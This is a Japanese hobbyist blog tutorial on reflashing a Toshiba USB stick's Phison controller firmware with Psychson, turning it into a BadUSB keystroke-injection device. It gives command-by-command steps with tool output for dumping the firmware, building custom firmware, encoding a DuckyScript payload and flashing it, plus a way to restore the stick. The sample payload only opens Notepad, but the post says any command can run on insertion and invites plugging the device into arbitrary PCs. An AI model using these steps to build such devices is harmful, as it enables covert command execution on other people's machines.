にわか鯖管の苦悩日記

個人的なメモや、ネタなど書いています。

Psychsonを使用したBadUSBの作成方法

はじめに

  • 自己責任で作業を行ってください。
  • USBメモリが正常に使用出来なくなっても責任は持てません。
  • あまり詳しくない分野のため、間違っている情報が含まれている可能性もありますのでご注意下さい。
  • 途中、説明が雑なところもありますがご了承下さい。
  • 本手順では、USBメモリは「D:\」にドライブマップされています。

「Psychson」とは

背景

  • Psychsonが公開された経緯

使用するUSBメモリ

  • 以下のページに記載されているUSBメモリで動作確認されている。
  • 本手順では、入手しやすい&値段が安い「Toshiba TransMemory-MX USB 3.0 16GB」を使用する。

2016/4/21 追記

Toshiba TransMemory-MX USB 3.0 16GB」の詳細情報

  • USBメモリに関する詳細な情報は以下のとおり。*1
    • 購入時期(ロット)によって、変更されている可能性もあるので注意。

Toshiba TransMemory-MX USB 3.0 16GB

  • 型式
  • コントローラ名
    • Phison 2251-03 (2303)
  • ファームウェア情報
    • ICVersion : 2251-03
    • Mode : 8
    • FWversion : 02.08.53
    • FW Date : 2014-01-02
    • FC1-FC : FF-01
  • Flash情報
  • プロダクト情報
    • MP Ver : MPALL v3.29.0C
    • S/N : FFFFFFFFFFFFEE509000xxxx ※固有番号
  • ページサイズ
    • Page size : 8K

  f:id:kikuzou:20141121192642p:plain

開発環境の準備

Psychsonのコンパイル

  • コンパイルは、各フォルダ内にある「xxx.sln」をダブルクリックしてVS2012を起動して、メニューから [BUILD] -> [Build Solution] を選択するだけ。
  • C:\Psychson\tools」配下に、コンパイルされたツールが保存される。

バーナーイメージの入手

BNxxVyyyz.BIN
xx
 - コントローラのバージョン。
 - 今回使用するUSBメモリは「03」を指定。

yyyz
 - yyyはバージョン、zはページサイズ。
    - 2KM -> 2K NAND
    - 4KM -> 4K NAND
    - M   -> 8K NAND
 - バージョンについては動作実績のある「104」を指定。
 - 今回使用するUSBメモリは「8K」のため「M」を指定
  • まとめると、今回使用するバーナーイメージファイルは「BN03V104M.BIN」となる。
  • 「C:\Psychson」に「BN03V104M.BIN」を保存する。

予備知識 - ブートモードへの移行

以下手順は、必要時に行う操作となります!!
後で実際のファーム書き込み等の操作で出てきますので
この章は参考程度に読んでください。

正常なUSBメモリとして認識している場合 (購入直後等、なにも弄っていない状態)

  • 以下コマンドを実行する
>cd C:\Psychson
>
>tools\DriveCom.exe /drive=D /action=SetBootMode
Action specified: SetBootMode

>

ファームウェアの書き込みが失敗した等、正常にUSBメモリとして認識しない(ドライブマップされてない状態)場合

  • コントローラの「PIN2, PIN3」をショートさせて、USBメモリを差す!!
    • プラスチックカバーは、マイナスドライバー等で適当にこじ開けること
    • ニッパーでショートさせるのが簡単かも!?
    • USB延長ケーブルを使用しないと、たぶんショートさせながらパソコンにUSBメモリを差すことは無理っぽい

  

  • ショートする場合のイメージ図
    • 実際にショートさせるPINの位置ではないので注意!!

  f:id:kikuzou:20141212201127p:plain

  • 成功すると、ブルーライトが点灯状態となり、ドライブレターが割り当てられた状態となる。
  • ただし、割り当てられたドライブにはアクセス出来ないので注意。
ここからが、実際にBadUSB作成の手順となります!!

現在のファームウェアの確認

  • 以下コマンドで現在の状態を確認する。
>cd C:\Psychson
>
>tools\DriveCom.exe /drive=D /action=GetInfo
Action specified: GetInfo
Gathering information...
Reported chip type: 2303
Reported chip ID: 98-3A-A8-92-76-57
Reported firmware version: 2.08.53
Mode: Firmware

>

ファームウェアのダンプ (元に戻せるようにバックアップを取得する)

  • 以下コマンドでファームウェアのダンプを行う。
  • ダンプが完了したら、USBメモリを一度抜くこと。(通常モードに戻すため)
>cd C:\Psychson
>
>tools\DriveCom.exe /drive=D /action=SetBootMode
Action specified: SetBootMode

>tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN
Action specified: SendExecutable

>tools\DriveCom.exe /drive=D /action=DumpFirmware /burner=BN03V104M.BIN /firmware=TC58TEG7T2JTA00.bin
Action specified: DumpFirmware

>
  • ダンプしたファイル(TC58TEG7T2JTA00.bin)は大切に保存すること!!
    • file size: 205,824 byte
    • MD5: 4c9aa33e91c2351f7d91640867105b6c

カスタムファームウェアの作成

>cd C:\Psychson
>cd firmware
>
>build.bat
*** Building main.c...
*** Building timers.c...
*** Building usb.c...
*** Building control.c...
control.c:7: warning 116: right shifting more than size of object changed to zero
control.c:15: warning 116: right shifting more than size of object changed to zero
*** Building scsi.c...
scsi.c:188: warning 85: in function HandleCDB unreferenced local variable : 'i'
*** Done.

>

ペイロードの作成

  • 今回は、USBメモリをパソコンに差した際に、任意のコマンドを実行されるタイプを作成する。
  • 「Duckencoder」を使用して、USBを差した際の動作を指定する。
  • 以下のようなことをUSB接続時に実行することも可能。
  • DuckencoderはJavaで作成されているため、JREが必要。(適宜インストールすること)
  • Javaについては、java.exeへのパスを適宜指定しておくこと。(フルパス指定でも可)
  • ダウンロードしたファイルは、適宜展開する。
  • 展開して出来たフォルダ「DockEncoder_X_X_X」を「C:\Psychson」配下に保存する。
  • フォルダ名については「DockEncoder」に変更する。
    • C:\Psychson\DockEncoder\encoder.jar が使用するファイルとなる
  • 実行させたいキーストロークを「keys.txt」として同じフォルダ内に保存する。
keys.txt
DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hacked by kikuz0u!! <- 適宜変更
ENTER
>cd C:\Psychson
>cd DuckEncoder
>
>java -jar encoder.jar -i keys.txt -o inject.bin
Hak5 Duck Encoder 2.6.3

Loading File .....              [ OK ]
Loading Keyboard File .....     [ OK ]
Loading Language File .....     [ OK ]
Loading DuckyScript .....       [ OK ]
DuckyScript Complete.....       [ OK ]


>
  • ペイロードファイルが「C:\Psychson\Duckencoder\inject.bin」に作成される。
    • このファイルをカスタムファームフェアに埋め込む
  • 出来上がった「inject.bin」を「C:\Psychson」直下に保存する。
>cd C:\Psychson
>
>copy fw.bin hid.bin ※カスタムファームウェアのバックアップ
        1 個のファイルをコピーしました。

>tools\EmbedPayload.exe inject.bin hid.bin
File updated.

>

カスタムファームウェアの書き込み!!

>cd C:\Psychson
>
>tools\DriveCom.exe /drive=D /action=SetBootMode
Action specified: SetBootMode

>tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN
Action specified: SendExecutable

>tools\DriveCom.exe /drive=D /action=SendFirmware /burner=BN03V104M.BIN /firmware=hid.bin
Action specified: SendFirmware
Gathering information...
Reported chip type: 2302
Reported chip ID: 98-3A-A8-92-76-57
Reported firmware version: 1.01.10
Mode: Burner
Rebooting...
Sending firmware...
Executing...
Mode: Firmware

>
  • 以上で、作業終了です!!
  • 作成したBadUSBを適当なパソコンに差して遊びましょう :-)

USBメモリを通常の状態に戻す

  • 手動ブートモードで起動
    • コントローラの「PIN2, PIN3」をショートさせて、USBメモリを差す!!
    • 詳細は「予備知識 - ブートモードへの移行」を参照
>cd C:\Psychson
>
>tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN
Action specified: SendExecutable

>tools\DriveCom.exe /drive=D /action=SendFirmware /burner=BN03V104M.BIN /firmware=TC58TEG7T2JTA00.bin
Action specified: SendFirmware
Gathering information...
Reported chip type: 2302
Reported chip ID: 98-3A-A8-92-76-57
Reported firmware version: 1.01.10
Mode: Burner
Rebooting...
Sending firmware...
Executing...
Mode: Firmware

>

*1:この情報を調べるのに苦労しました (´Д`;)

*2:このサイトは熟読しましょう